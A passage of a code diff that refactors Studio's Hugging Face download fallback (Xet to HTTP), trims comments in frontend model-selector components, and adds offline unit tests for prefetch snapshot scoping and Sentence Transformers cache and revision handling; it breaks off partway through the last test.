+            from loggers import get_logger
+            get_logger(__name__).debug(
+                "Studio prepare_cache_for_transport failed for %s: %s", repo_id, exc
+            )
+        except ModuleNotFoundError as logger_exc:
+            if logger_exc.name != "loggers":
+                raise
 
 
 def hf_hub_download_with_xet_fallback(
@@ -345,83 +208,32 @@ def hf_hub_download_with_xet_fallback(
     *,
     cancel_event: Optional[threading.Event] = None,
     repo_type: str = "model",
+    revision: Optional[str] = None,
     stall_timeout: float = DEFAULT_STALL_TIMEOUT,
     interval: float = DEFAULT_HEARTBEAT_INTERVAL,
     grace_period: float = DEFAULT_GRACE_PERIOD,
     on_status: Optional[Callable[[str], None]] = None,
     force_download: bool = False,
 ) -> str:
-    """Download a single file with Xet primary and HTTP as a stall-only fallback.
+    """Single-file download via the shared fallback with Studio's marker-aware HTTP-retry prep.
+    ``force_download`` re-fetches a newer blob over a cached one (Studio's model-update path)."""
+    return _shared_hf_hub_download_with_xet_fallback(
+        repo_id,
+        filename,
+        token,
+        cancel_event = cancel_event,
+        repo_type = repo_type,
+        revision = revision,
+        stall_timeout = stall_timeout,
+        interval = interval,
+        grace_period = grace_period,
+        on_status = on_status,
+        force_download = force_download,
+        prepare_for_http_fn = _studio_prepare_for_http,
+    )
 
-    Returns the local cache path. Raises ``RuntimeError("Cancelled")`` if
-    *cancel_event* is set, re-raises a deterministic child error unchanged (no
-    fallback), and raises ``DownloadStallError`` only if BOTH transports stall.
 
-    When *force_download* is True the cache-first early-return is skipped and the
-    flag is threaded to ``hf_hub_download`` so a newer remote blob is re-fetched
-    even if an older blob is already cached.
-    """
-    # Finalized blob already cached: return it with no child and no network.
-    # Skipped when force_download is set so an update re-fetches a newer blob.
-    if not force_download:
-        try:
-            from huggingface_hub import try_to_load_from_cache
-            cached = try_to_load_from_cache(repo_id, filename, repo_type = repo_type)
-            if isinstance(cached, str) and os.path.exists(cached):
-                return cached
-        except Exception as e:
-            logger.debug("Cached probe failed for %s/%s: %s", repo_id, filename, e)
-
-    if cancel_event is not None and cancel_event.is_set():
-        raise RuntimeError("Cancelled")
-
-    disable_xet = False
-    for attempt in range(2):
-        if disable_xet:
-            # Purge a non-HTTP partial before resuming over HTTP: an HTTP resume
-            # over a sparse Xet/hf_transfer partial silently corrupts the blob.
-            try:
-                from hub.utils.download_registry import prepare_cache_for_transport
-                prepare_cache_for_transport(repo_type, repo_id, "http")
-            except Exception as e:
-                logger.debug("prepare_cache_for_transport failed for %s: %s", repo_id, e)
-
-        kind, payload = _run_download_attempt(
-            repo_id,
-            filename,
-            token,
-            repo_type = repo_type,
-            disable_xet = disable_xet,
-            cancel_event = cancel_event,
-            stall_timeout = stall_timeout,
-            interval = interval,
-            grace_period = grace_period,
-            on_status = on_status,
-            force_download = force_download,
-        )
-
-        if kind == "ok":
-            return payload  # type: ignore[return-value]
-        if kind == "cancelled":
-            raise RuntimeError("Cancelled")
-        if kind == "error":
-            # Deterministic failure: the other transport would fail identically.
-            raise RuntimeError(payload)
-        # kind == "stall"
-        if attempt == 0 and not disable_xet:
-            logger.warning(
-                "Download stalled for '%s/%s' -- retrying with HF_HUB_DISABLE_XET=1",
-                repo_id,
-                filename,
-            )
-            if on_status is not None:
-                on_status(f"{repo_id}/{filename}: Xet stalled, retrying over HTTP")
-            disable_xet = True
-            continue
-        raise DownloadStallError(
-            f"Download stalled for '{repo_id}/{filename}' even with "
-            f"HF_HUB_DISABLE_XET=1 -- check your network connection"
-        )
-
-    # Unreachable: the loop either returns or raises on each attempt.
-    raise DownloadStallError(f"Download failed for '{repo_id}/{filename}'")
+def snapshot_download_with_xet_fallback(repo_id: str, **kwargs: Any) -> str:
+    """Whole-repo download via the shared fallback with Studio's marker-aware HTTP-retry prep."""
+    kwargs.setdefault("prepare_for_http_fn", _studio_prepare_for_http)
+    return _shared_snapshot_download_with_xet_fallback(repo_id, **kwargs)
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
index d00c812325..db7628777a 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/model-update-action.tsx
@@ -42,10 +42,8 @@ export function ModelUpdateAction({
 }: ModelUpdateActionProps) {
   const [open, setOpen] = useState(false);
 
-  // The update is a managed download (it surfaces in the global Downloads panel
-  // with progress + cancel). When this exact repo+variant finishes, refresh the
-  // caller so the "update available" cue clears once the new revision is on
-  // disk. A ref keeps the subscription stable across renders without resubscribing.
+  // Refresh the caller when this repo+variant's download finishes so the "update available" cue
+  // clears. A ref keeps the subscription stable across renders.
   const onUpdatedRef = useRef(onUpdated);
   onUpdatedRef.current = onUpdated;
   useEffect(() => {
@@ -60,9 +58,8 @@ export function ModelUpdateAction({
   }, [repoId, variant]);
 
   const handleConfirm = useCallback(() => {
-    // Start the background re-download and close the dialog immediately; the
-    // Downloads panel owns progress + cancel from here. Only a failure to START
-    // surfaces a toast — a failed download reports itself in the panel.
+    // Start the re-download and close the dialog; the Downloads panel owns progress + cancel.
+    // Only a failure to START toasts (a failed download shows in the panel).
     void Promise.resolve()
       .then(onConfirm)
       .catch((err) => {
diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 20000c82ee..9890c5f574 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -1247,11 +1247,8 @@ export function HubModelPicker({
   onEject?: () => void;
 }) {
   const gpu = useGpuInfo();
-  // The currently-loaded/running model id. We read params.checkpoint from the
-  // runtime store (backend-mirrored from /api/inference/status.active_model, see
-  // chat-runtime-store) rather than the dropdown `isSelected` highlight (which is
-  // just `value === repo_id` and can reflect a staged, not-yet-loaded pick). Used
-  // to disable the cached-row update action for the model that's live in memory.
+  // Live model id from the runtime store (backend-mirrored active_model), not the dropdown
+  // highlight which can be a staged pick. Disables the update action for it.
   const loadedModelId = useChatRuntimeStore((s) => s.params.checkpoint);
   // Last-loaded timestamps power the "Recent" sort (vs "Downloaded" = file date).
   const loadTimes = useModelLoadTimes(value);
@@ -1589,11 +1586,8 @@ export function HubModelPicker({
     refreshLocalModelsList();
   }, [hfToken, refreshLocalModelsList]);
 
-  // Updates run as MANAGED downloads (they show in the global Downloads panel
-  // with manifest-based progress + a working Cancel), instead of a blocking
-  // call. The worker re-resolves `main` and pulls only changed blobs, so the
-  // cached copy stays usable until the new revision lands. The row's
-  // ModelUpdateAction refreshes the list when this repo+variant completes.
+  // Updates run as managed downloads (Downloads panel: progress + Cancel), not a blocking
+  // call. The worker pulls only changed blobs, so the cached copy stays usable until done.
   const startManagedUpdate = useCallback((repoId: string, variant: string, expectedBytes: number) => {
     return downloadManager
       .requestStart({
diff --git a/tests/test_prefetch_snapshot_scope.py b/tests/test_prefetch_snapshot_scope.py
new file mode 100644
index 0000000000..c7ec4f2c34
--- /dev/null
+++ b/tests/test_prefetch_snapshot_scope.py
@@ -0,0 +1,916 @@
+# Unsloth Zoo - Utilities for Unsloth
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published
+# by the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""Pure-CPU, no-network unit tests for prefetch snapshot scoping in unsloth/models/_utils.py.
+
+maybe_prefetch_hf_snapshot warms the HF cache before the in-process load. The warm must cover at
+least what the load reads (else the missing file falls to an unprotected in-process Xet fetch) but
+not pull weights the load never reads. These tests lock the allow/ignore patterns each mode hands
+snapshot_download_with_xet_fallback. The zoo downloader is monkeypatched to capture its kwargs.
+"""
+
+import fnmatch
+import sys
+import types
+
+import pytest
+
+from unsloth.models import _utils as U
+
+
+def _filter(names, allow_patterns, ignore_patterns):
+    """Mirror HF filter_repo_objects: keep on allow match (or None), drop on ignore match."""
+    kept = []
+    for name in names:
+        if allow_patterns is not None and not any(fnmatch.fnmatch(name, p) for p in allow_patterns):
+            continue
+        if ignore_patterns and any(fnmatch.fnmatch(name, p) for p in ignore_patterns):
+            continue
+        kept.append(name)
+    return kept
+
+
+@pytest.fixture
+def capture(monkeypatch):
+    """Run maybe_prefetch_hf_snapshot with a fake repo, capturing the patterns forwarded to a
+    fake injected zoo downloader (independent of the installed unsloth_zoo). Offline env cleared."""
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+
+    state = {}
+
+    def fake_download(repo_id, **kw):
+        state["repo_id"] = repo_id
+        state["allow_patterns"] = kw.get("allow_patterns")
+        state["ignore_patterns"] = kw.get("ignore_patterns")
+        state["variant"] = kw.get("variant")
+        return "/tmp/fake-snapshot"
+
+    fake_module = types.ModuleType("unsloth_zoo.hf_xet_fallback")
+    fake_module.snapshot_download_with_xet_fallback = fake_download
+    fake_module.DownloadStallError = type("DownloadStallError", (RuntimeError,), {})
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.hf_xet_fallback", fake_module)
+
+    # Neutralize the model_info network call by default; tests exercising format selection
+    # install their own.
+    import huggingface_hub
+
+    class _NoNetworkApi:
+        def model_info(self, *a, **k):
+            raise RuntimeError("no network in test")
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _NoNetworkApi)
+
+    def run(**call_kwargs):
+        state.clear()
+        ok = U.maybe_prefetch_hf_snapshot("some-org/some-repo", **call_kwargs)
+        return ok, state
+
+    return run
+
+
+# Representative repo listing: root weights + aux, subdir, adapter, checkpoint, merged weights.
+_SAMPLE_FILES = [
+    "config.json",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "model-00001-of-00002.safetensors",
+    "model-00002-of-00002.safetensors",
+    "model.safetensors.index.json",
+    "pytorch_model.bin",
+    "fp16/model.safetensors",
+    "experimental/model-00001-of-00002.safetensors",
+    "checkpoint-500/model.safetensors",
+    "adapter_config.json",
+    "adapter_model.safetensors",
+]
+
+
+def test_weights_at_root_excludes_subdir_weights(capture):
+    """A root load ignores subdir weights (fp16/, experimental/, checkpoint-500/) but keeps root weights."""
+    ok, st = capture(weights_at_root = True, use_safetensors = True)
+    assert ok is True
+    assert st["allow_patterns"] is None
+    ig = st["ignore_patterns"]
+    assert "*/*.safetensors" in ig and "*/*.bin" in ig
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], ig)
+    assert "model-00001-of-00002.safetensors" in kept
+    assert "model.safetensors.index.json" in kept
+    assert "config.json" in kept
+    assert "fp16/model.safetensors" not in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+    assert "checkpoint-500/model.safetensors" not in kept
+
+
+def test_adapter_only_excludes_merged_weights(capture):
+    """An adapter warm keeps adapter files + root aux, not merged full-model weights."""
+    ok, st = capture(adapter_only = True)
+    assert ok is True
+    assert st["ignore_patterns"] is None
+    allow = st["allow_patterns"]
+    assert "adapter_config.json" in allow and "adapter_model*" in allow
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "adapter_config.json" in kept
+    assert "adapter_model.safetensors" in kept
+    assert "config.json" in kept and "tokenizer.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "pytorch_model.bin" not in kept
+    assert "fp16/model.safetensors" not in kept
+
+
+def test_adapter_only_warms_sharded_adapter(capture):
+    """A sharded adapter is still covered by the adapter_model* glob."""
+    _, st = capture(adapter_only = True)
+    sharded = [
+        "adapter_config.json",
+        "adapter_model-00001-of-00002.safetensors",
+        "adapter_model-00002-of-00002.safetensors",
+        "adapter_model.safetensors.index.json",
+    ]
+    kept = _filter(sharded, st["allow_patterns"], st["ignore_patterns"])
+    assert set(kept) == set(sharded)
+
+
+def test_tokenizer_only_warms_only_aux_files(capture):
+    """A tokenizer-only repo warms tokenizer/config/vocab files, never weights."""
+    _, st = capture(tokenizer_only = True)
+    assert st["ignore_patterns"] is None
+    assert st["allow_patterns"] == list(U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "tokenizer.json" in kept and "config.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_aux_warm_covers_arbitrary_remote_code_modules(capture):
+    """The aux warm must cover any *.py, since trust_remote_code auto_map names modules freely."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    assert "*.py" in allow
+    remote_code = [
+        "config.json",
+        "modeling.py",
+        "tokenization.py",
+        "my_custom_code.py",
+        "configuration_foo.py",
+    ]
+    kept = _filter(remote_code, allow, st["ignore_patterns"])
+    for name in ("modeling.py", "tokenization.py", "my_custom_code.py", "configuration_foo.py"):
+        assert name in kept, name
+
+
+def test_subfolder_warms_subfolder_plus_root_aux(capture):
+    """A subfolder load warms that subfolder's weights plus root aux; other subdirs/root weights skipped."""
+    _, st = capture(subfolder = "fp16")
+    allow = st["allow_patterns"]
+    assert "fp16/*" in allow
+    assert all(p in allow for p in U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+    assert "config.json" in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+
+
+def test_subfolder_takes_precedence_over_weights_at_root(capture):
+    """When a subfolder is requested the subfolder branch wins over weights_at_root."""
+    _, st = capture(subfolder = "fp16", weights_at_root = True)
+    assert "fp16/*" in st["allow_patterns"]
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+
+
+def test_local_dir_is_not_warmed(capture, tmp_path):
+    """A local directory path skips the warm (returns False)."""
+    d = tmp_path / "local-model"
+    d.mkdir()
+    ok = U.maybe_prefetch_hf_snapshot(str(d), weights_at_root = True)
+    assert ok is False
+
+
+def _install_fake_model_info(monkeypatch, filenames):
+    """Make HfApi().model_info(...).siblings report filenames, with no network."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Info:
+        def __init__(self, names):
+            self.siblings = [_Sib(n) for n in names]
+
+    class _Api:
+        def model_info(self, *a, **k):
+            return _Info(filenames)
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _Api)
+
+
+# ----- Finding P: variant-aware weight-format selection -----
+
+
+def test_variant_keeps_bin_when_only_default_safetensors(monkeypatch):
+    """A default model.safetensors must not prove a variant .bin redundant; without a variant it does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    ig_default = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_default
+
+
+def test_variant_drops_bin_when_variant_safetensors_present(monkeypatch):
+    """A variant-matching safetensors makes the variant .bin redundant, so .bin is dropped."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_no_variant_keeps_bin_when_only_variant_safetensors(monkeypatch):
+    """For a no-variant load, only a canonical safetensors (not a lone variant) makes .bin redundant."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_variant_keeps_bin_for_noncanonical_sidecar(monkeypatch):
+    """A non-canonical variant sidecar must not prove the variant .bin redundant; a canonical one does."""
+    _install_fake_model_info(
+        monkeypatch, ["consolidated.fp16.safetensors", "pytorch_model.fp16.bin"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_is_canonical_model_weight_safetensors():
+    """The canonical detector matches only non-variant model-weight safetensors names."""
+    assert U._is_canonical_model_weight_safetensors("model.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_canonical_model_weight_safetensors("model.fp16.safetensors") is False
+    assert (
+        U._is_canonical_model_weight_safetensors("model.fp16-00001-of-00002.safetensors") is False
+    )
+    assert U._is_canonical_model_weight_safetensors("adapter_model.safetensors") is False
+
+
+def test_st_prefetch_resolves_env_cache_and_runs_after_validation():
+    """The ST prefetch must resolve SENTENCE_TRANSFORMERS_HOME and run after load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert len(prefetch_calls) == 1, "expected exactly one ST prefetch call"
+    call = prefetch_calls[0]
+    # cache_dir kwarg resolves SENTENCE_TRANSFORMERS_HOME.
+    cache_dir_kw = next((kw for kw in call.keywords if kw.arg == "cache_dir"), None)
+    assert cache_dir_kw is not None, "ST prefetch must pass cache_dir"
+    assert "SENTENCE_TRANSFORMERS_HOME" in ast.dump(
+        cache_dir_kw.value
+    ), "ST prefetch cache_dir must resolve SENTENCE_TRANSFORMERS_HOME"
+    # Load-mode validation runs before the prefetch (fewer source lines = earlier).
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < call.lineno, "load-mode validation must precede the ST prefetch"
+
+
+def test_st_cache_resolutions_honor_explicit_hf_cache_dir():
+    """Every ST cache resolution falling back to SENTENCE_TRANSFORMERS_HOME must first honor an explicit HF cache_dir."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    resolutions = [
+        kw
+        for kw in ast.walk(tree)
+        if isinstance(kw, ast.keyword)
+        and kw.arg == "cache_dir"
+        and "SENTENCE_TRANSFORMERS_HOME" in ast.dump(kw.value)
+    ]
+    assert resolutions, "expected cache_dir resolutions referencing SENTENCE_TRANSFORMERS_HOME"
+    for kw in resolutions:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "an ST cache_dir resolution must read an explicit kwargs.get('cache_dir') first"
+
+
+def test_st_native_loads_map_hf_cache_dir_to_cache_folder():
+    """Native SentenceTransformer loads take cache_folder, so an explicit HF cache_dir must be mapped onto it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    # Every native SentenceTransformer(...) forwarding cache_folder must read cache_dir.
+    st_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "SentenceTransformer"
+    ]
+    cache_folder_kws = [kw for call in st_calls for kw in call.keywords if kw.arg == "cache_folder"]
+    assert cache_folder_kws, "expected a native SentenceTransformer call forwarding cache_folder"
+    for kw in cache_folder_kws:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "a native SentenceTransformer cache_folder must map the explicit HF cache_dir first"
+    # for_inference feeds cache_folder via st_kwargs; both native branches map cache_dir -> cache_folder.
+    normalized = "".join(src.split())
+    assert (
+        'st_kwargs["cache_folder"]=' in normalized
+    ), "for_inference must set st_kwargs cache_folder"
+    assert (
+        normalized.count('kwargs.get("cache_dir")orkwargs.get("cache_folder")') >= 2
+    ), "both native ST branches (for_inference, fast-encoder) must map cache_dir -> cache_folder"
+
+
+def test_vision_warms_vllm_tokenizer_after_remap():
+    """On the vLLM path the tokenizer warm is deferred until after the fast_inference_setup remap."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    guard = "if _vllm_owns_weights and isinstance(tokenizer_name"
+    assert guard in src, "expected a vLLM-gated tokenizer warm"
+    assert src.index(guard) > src.index(
+        "fast_inference_setup("
+    ), "the vLLM tokenizer warm must run after the fast_inference_setup remap"
+
+
+def test_diffusion_forwards_variant_to_real_load():
+    """FastDiffusionModel must forward variant to the real model_cls.from_pretrained load, not just the prefetch."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "diffusion.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    assert (
+        'load_kwargs["variant"] = kwargs["variant"]' in src
+    ), "the diffusion load must forward variant to model_cls.from_pretrained"
+
+
+def test_vision_prefetch_runs_after_load_mode_validation():
+    """The FastBaseModel (vision) prefetch must run after the load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert prefetch_calls, "expected a vision prefetch call"
+    first_prefetch = min(call.lineno for call in prefetch_calls)
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < first_prefetch, "load-mode validation must precede the vision prefetch"
+
+
+def test_llama_prefetch_skips_only_real_vllm_loads():
+    """The llama prefetch's fast_inference skip must be gated on num_labels is None (a classification load still downloads)."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "llama.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    gated = False
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            continue
+        fi_kw = next((kw for kw in n.keywords if kw.arg == "fast_inference"), None)
+        if fi_kw is None:
+            continue
+        dumped = ast.dump(fi_kw.value)
+        if "fast_inference" in dumped and "num_labels" in dumped:
+            gated = True
+    assert gated, "llama prefetch fast_inference must be gated on num_labels is None"
+
+
+def test_st_fallback_module_loads_resolve_env_cache():
+    """Fallback module loads deriving cache_dir from cache_folder must also fall back to SENTENCE_TRANSFORMERS_HOME."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+
+    # Fallback sites (cache_dir derived from cache_folder) must resolve SENTENCE_TRANSFORMERS_HOME.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None:
+            continue
+        dumped = ast.dump(cache_dir_kw.value)
+        if "cache_folder" not in dumped:
+            continue  # internal pass-through, not a resolution site
+        checked += 1
+        assert (
+            "SENTENCE_TRANSFORMERS_HOME" in dumped
+        ), f"{node.func.attr} cache_dir resolves cache_folder but not SENTENCE_TRANSFORMERS_HOME"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to resolve the env cache"
+
+
+def test_st_fallback_module_loads_forward_revision():
+    """The fallback module loads must forward revision so module files match the revision-pinned weights.
+    Guards: (a) helpers accept revision, (b) every download primitive forwards it, (c) _load_modules
+    threads it into internal calls, (d) the from_pretrained fallback sites forward it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    funcs = {
+        n.name: n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef)
+        and n.name in ("_module_path", "_read_pooling_mode", "_load_modules")
+    }
+    assert set(funcs) == {"_module_path", "_read_pooling_mode", "_load_modules"}
+
+    # (a) each helper takes a revision parameter.
+    for name, fn in funcs.items():
+        arg_names = {a.arg for a in fn.args.args + fn.args.kwonlyargs}
+        assert "revision" in arg_names, f"{name} must accept a revision argument"
+
+    # (b) every download primitive inside the helpers forwards revision.
+    downloads = 0
+    for name, fn in funcs.items():
+        for node in ast.walk(fn):
+            if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Name)):
+                continue
+            if node.func.id not in ("hf_hub_download", "load_dir_path"):
+                continue
+            downloads += 1
+            assert any(
+                kw.arg == "revision" for kw in node.keywords
+            ), f"{node.func.id} in {name} must forward revision"
+    assert downloads >= 3, "expected the module-download primitives to be revision-guarded"
+
+    # (c) _load_modules threads revision into its internal _module_path / _read_pooling_mode calls.
+    internal = 0
+    for node in ast.walk(funcs["_load_modules"]):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_read_pooling_mode"):
+            continue
+        internal += 1
+        assert any(
+            kw.arg == "revision" for kw in node.keywords
+        ), f"_load_modules must forward revision to {node.func.attr}"
+    assert internal >= 2, "expected _load_modules to call _module_path and _read_pooling_mode"
+
+    # (d) the from_pretrained fallback _module_path / _load_modules sites forward revision.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None or "cache_folder" not in ast.dump(cache_dir_kw.value):
+            continue  # internal pass-through, not a fallback site
+        checked += 1
+        rev_kw = next((kw for kw in node.keywords if kw.arg == "revision"), None)
+        assert rev_kw is not None and "revision" in ast.dump(
+            rev_kw.value
+        ), f"{node.func.attr} fallback call must forward revision"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to forward revision"
+
+
+def test_st_fallback_model_load_resolves_env_cache():
+    """from_pretrained must resolve the warmed ST cache into kwargs['cache_dir'] before the FastModel weight load."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    def _resolves_st_cache(value_node):
+        # Resolution may be inline or in the assignment to an intermediate variable the value references.
+        dumped = ast.dump(value_node)
+        if "cache_folder" in dumped and "SENTENCE_TRANSFORMERS_HOME" in dumped:
+            return True
+        if isinstance(value_node, ast.Name):
+            for n in ast.walk(tree):
+                if isinstance(n, ast.Assign) and any(
+                    isinstance(t, ast.Name) and t.id == value_node.id for t in n.targets
+                ):
+                    d = ast.dump(n.value)
+                    if "cache_folder" in d and "SENTENCE_TRANSFORMERS_HOME" in d:
+                        return True
+        return False
+
+    resolved_lines = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Assign):
+            continue
+        for tgt in node.targets:
+            if (
+                isinstance(tgt, ast.Subscript)
+                and isinstance(tgt.value, ast.Name)
+                and tgt.value.id == "kwargs"
+                and isinstance(tgt.slice, ast.Constant)
+                and tgt.slice.value == "cache_dir"
+                and _resolves_st_cache(node.value)
+            ):
+                resolved_lines.append(node.lineno)
+    assert resolved_lines, "from_pretrained must resolve the ST cache into kwargs['cache_dir']"
+
+    fastmodel_calls = [
+        n.lineno
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Attribute)
+        and n.func.attr == "from_pretrained"
+        and isinstance(n.func.value, ast.Name)
+        and n.func.value.id == "FastModel"
+    ]
+    assert fastmodel_calls, "expected a FastModel.from_pretrained call"
+    assert min(resolved_lines) < min(
+        fastmodel_calls
+    ), "kwargs['cache_dir'] must be resolved before the fallback FastModel weight load"
+
+
+def test_canonical_variant_model_weight_matches_transformers_names():
+    """The variant safetensors detector matches only canonical variant names, rejecting sidecars and wrong variants."""
+    f = U._is_canonical_variant_model_weight_safetensors
+    assert f("model.fp16.safetensors", "fp16") is True
+    assert f("model.fp16-00001-of-00002.safetensors", "fp16") is True
+    assert f("model-00001-of-00002.fp16.safetensors", "fp16") is True
+    assert f("model.safetensors.index.fp16.json", "fp16") is True
+    assert f("consolidated.fp16.safetensors", "fp16") is False
+    assert f("model.safetensors", "fp16") is False
+    assert f("model-00001-of-00002.safetensors", "fp16") is False
+    assert f("model.bf16.safetensors", "fp16") is False
+
+
+def test_variant_is_forwarded_to_downloader(capture):
+    """maybe_prefetch_hf_snapshot must forward variant to the downloader (absent a variant, nothing is forwarded)."""
+    _, st = capture(weights_at_root = True, use_safetensors = True, variant = "fp16")
